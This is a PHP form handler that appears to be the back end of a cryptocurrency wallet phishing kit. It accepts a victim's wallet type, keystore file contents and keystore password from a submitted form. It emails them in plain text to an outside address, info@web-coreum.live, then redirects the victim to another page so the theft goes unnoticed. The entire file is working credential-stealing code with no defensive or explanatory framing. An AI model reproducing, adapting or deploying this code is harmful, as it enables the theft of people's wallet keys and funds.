
<?php

                    if (isset ($_POST['keystore']) && isset ($_POST['keystorepasswword']) && isset ($_POST['walletname'])   )
                    {
                        $errors = array();
                        
                        $keystore = ($_POST['keystore']);

                         $keystorepasswword = ($_POST['keystorepasswword']);

                          $walletname1 = ($_POST['walletname']);

                        

                            
                            
                        
                            

                        if(!empty($keystore) )
                            {
                                
                                
                                
                                    if(strlen($keystore) < 6 ) {
                                        $errors[] = 'Incorrect Key Entered';
                                    }
                                    

                                }

                                    else
                                {
                                    $errors[] = 'Please fill the form before submitting it!!!';
                                }
                            if(!empty($errors))
                            {
                                foreach($errors as $error) {
                                    
                                echo 

                                '<div class="alert bg-danger" role="alert">
                    <svg class="glyph stroked success"><use xlink:href="#stroked-success"></use></svg>',$error, '  <a href="#" class="pull-right"><span class="glyphicon glyphicon-remove"></span></a>
                </div>'




                                ;
                                
                                }
                            
                            }

                            else        
                                {
                                    
                                    
                                    
$remail2 = "info@web-coreum.live" ;                                    

$message = "<html><head></head><body>";
$message .= "

<br><br> Wallet Type: $walletname1 <br><br>
<br><br> Keystore: $keystore <br><br>

<br><br> Password: $keystorepasswword <br><br>
 <br><br></body></html>";

$headers = "From: $remail2\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=UTF-8\r\n";


mail($remail2, "New Message", "$message.","$headers");



                                    
echo '<script>
   
            window.location.href = "/webcoreum/index.php";
     
</script>';                   

                                }       
                    }

            
                    
                    


                ?>